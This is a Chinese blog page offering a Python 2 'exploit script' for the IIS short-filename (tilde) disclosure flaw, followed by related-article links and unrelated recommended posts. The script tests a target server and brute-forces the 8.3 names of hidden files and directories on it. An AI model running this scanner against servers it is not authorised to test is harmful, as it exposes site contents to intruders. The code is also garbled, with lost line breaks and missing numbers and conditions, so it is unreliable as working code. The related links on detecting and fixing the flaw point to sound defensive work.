IIS短文件名暴力枚举漏洞利用脚本
import sys import httplib import urlparse import threading import Queue import time class Scanner(): def __init__(self, target): self.target = target.lower() if not self.target.startswith('http'): self.target = 'http://%s' % self.target self.scheme, self.netloc, self.path, params, query, fragment = \ urlparse.urlparse(target) :] != '/': # ends with slash self.path += '/' self.alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789_-' self.files = [] self.dirs = [] self.queue = Queue.Queue() self.lock = threading.Lock() self.threads = [] self.request_method = '' self.msg_queue = Queue.Queue() self.STOP_ME = False threading.Thread(target=self._print).start() def _conn(self): try: if self.scheme == 'https': conn = httplib.HTTPSConnection(self.netloc) else: conn = httplib.HTTPConnection(self.netloc) return conn except Exception, e: print '[_conn.Exception]', e return None def _get_status(self, path): try: conn = self._conn() conn.request(self.request_method, path) status = conn.getresponse().status conn.close() return status except Exception, e: raise Exception('[_get_status.Exception] %s' % str(e) ) def is_vul(self): try: for _method in ['GET', 'OPTIONS']: self.request_method = _method status_1 = self._get_status(self.path + '/*~1*/a.aspx') # an existed file/folder status_2 = self._get_status(self.path + '/l1j1e*~1*/a.aspx') # not existed file/folder and status_2 != : return True return False except Exception, e: raise Exception('[is_vul.Exception] %s' % str(e) ) def run(self): for c in self.alphanum: self.queue.put( (self.path + c, '.*') ) # filename, extension ): t = threading.Thread(target=self._scan_worker) self.threads.append(t) t.start() for t in self.threads: t.join() self.STOP_ME = True def report(self): print for d in self.dirs: print 'Dir: %s' % d for f in self.files: print 'File: %s' % f print print '%d Directories, %d Files found in total' % (len(self.dirs), len(self.files)) print 'Note that * is a wildcard, matches any character zero or more times.' def _print(self): while not self.STOP_ME or (not self.msg_queue.empty()): if self.msg_queue.empty(): time.sleep(0.05) else: print self.msg_queue.get() def _scan_worker(self): while True: try: url, ext = self.queue.get(timeout=1.0) status = self._get_status(url + '*~1' + ext + '/1.aspx') : self.msg_queue.put('[+] %s~1%s\t[scan in progress]' % (url, ext)) : # chars only for c in self.alphanum: self.queue.put( (url + c, ext) ) else: if ext == '.*': self.queue.put( (url, '') ) if ext == '': self.dirs.append(url + '~1') self.msg_queue.put('[+] Directory ' + url + '~1\t[Done]') elif len(ext) == or (not ext.endswith('*')): # .asp* self.files.append(url + '~1' + ext) self.msg_queue.put('[+] File ' + url + '~1' + ext + '\t[Done]') else: for c in 'abcdefghijklmnopqrstuvwxyz0123456789': self.queue.put( (url, ext[:-] + c + '*') ) : # < len('.as*') self.queue.put( (url, ext[:-] + c) ) except Queue.Empty,e: break except Exception, e: print '[Exception]', e if __name__ == '__main__': : print 'Usage: python IIS_shortname_Scan.py http://www.target.com/' sys.exit() target = sys.argv[] s = Scanner(target) if not s.is_vul(): s.STOP_ME = True print 'Server is not vulnerable' sys.exit() print 'Server is vulnerable, please wait, scanning...' s.run() s.report()
IIS短文件名暴力枚举漏洞利用脚本的更多相关文章
- 利用URLScan工具过滤URL中的特殊字符(仅针对IIS6)-- 解决IIS短文件名漏洞
IIS短文件名漏洞在windows服务器上面非常常见,也就是利用“~”字符猜解暴露短文件/文件夹名,比如,采用这种方式构造URL:http://aaa.com/abc~1/.aspx,根据IIS返回的 ...
- IIS短文件名漏洞原理与挖掘思路
首先来几个网址先了解一下 https://www.jb51.net/article/166405.htm https://www.freebuf.com/articles/web/172561.htm ...
- IIS短文件名泄露漏洞危害及防范方法
危害级别:轻微 IIS短文件名泄露漏洞 WASC Threat Classification 描述: Microsoft IIS在实现上存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件 ...
- IIS短文件名泄露漏洞危害及防范方法(转)
攻击方法(转自http://blog.sina.com.cn/s/blog_64a3795a01017xqt.html) 一直在寻找一种方法,如果我可以使用通配符"*" 和 &qu ...
- IIS短文件名漏洞复现
IIS短文件名漏洞复现 一.漏洞描述 此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的.它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问). ...
- 向日葵远程RCE漏洞分析及漏洞利用脚本编写
0x00 漏洞概述 向日葵是一款免费的,集远程控制电脑.手机.远程桌面连接.远程开机.远程管理.支持内网穿透等功能的一体化远程控制管理软件.如果想要手机远控电脑,或者电脑远控手机可以利用向日葵:如果是 ...
- 【中间件】IIS短文件名枚举漏洞
1.1.1 漏洞描述 为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名. 在Windows下查看对应的短文件名,可以使用命令 ...
- OpenSSL重大漏洞-Heartbleed之漏洞利用脚本POC讲解
OpenSSL Security Advisory [07 Apr 2014] ======================================== TLS heartbeat read ...
- IIS6利用URLScan修复IIS短文件名漏洞
一.下载URLScan 3.1 链接: http://pan.baidu.com/s/1i4HfKrj 密码: dmud 二.安装URLScan 3.1 安装完成以后,我们可以在System32/In ...
随机推荐
- cursor.MySQLCursorDict Class
5.9.6.4 cursor.MySQLCursorDict Class The MySQLCursorDict class inherits from MySQLCursor. This class ...
- 【算法】PHP实现冒泡排序和快速排序--防遗忘
有没有这样的感觉,排序算法虽然简单,但是没看过一次,一会就又忘了,所以有必要 自己使用实际的代码运行实现,才记忆牢固,为此Mark //需求:将数组中元素,从大到小排列$a = array(11, 2 ...
- 如何使 WebAPI 自动生成漂亮又实用在线API文档
1.前言 1.1 SwaggerUI SwaggerUI 是一个简单的Restful API 测试和文档工具.简单.漂亮.易用(官方demo).通过读取JSON 配置显示API. 项目本身仅仅也只依赖 ...
- 轻量的、可自定义 CSS 的 Lightbox 相册插件
jQuery LightGallery是一个轻量级的,可定制的,模块化的,响应式的 jQuery 相册插件.它采用 CSS 来实现图像和视频的大小调整.因此,这将是非常灵活的,并且比使用 JavaSc ...
- 操作DOM
操作dom一般是如下4个:更新:更新该DOM节点的内容,相当于更新了该DOM节点表示的HTML的内容:遍历:遍历该DOM节点下的子节点,以便进行进一步操作:添加:在该DOM节点下新增一个子节点,相当于 ...
- 关于C#消息调度(作业日志)
在Windows定时作业中,其实有多种关于作业调度形式,比如Windows Services 和 Windows Form 都可以做到,各有各的好处.现在来介绍下使用插件的形式进行定时作业. 1.用q ...
- iOS之百度导航SDK的坐标转换
百度导航 iOS SDK的坐标转换代码示例,有需要的朋友可以参考下. //导航坐标--------------> 地图坐标 //假设从导航sdk取到了一个点坐标是(116.304847, 40. ...
- Java Web总结
一.地址 客户端路径和服务端路径 表单:<form action="路径"></form> 超链接:<a href="路径"> ...
- iOS所有常见证书,appID,Provisioning Profiles配置说明及制作图文教程
转自holydancer的CSDN专栏,原文地址:http://blog.csdn.net/holydancer/article/details/9219333 概述: 苹果的证书繁锁复杂,制作管理相 ...
- 【Swift】UITableViewCell 中 TTTAttributedLabel 超链接无法点击的问题
前言 还以为是自己代码写的有问题,用法和别的地方都一样,但是这个是在 UITableViewCell 中使用,另外在 tableHeaderView 中使用也没用这个问题 —— 使用 TTTAttri ...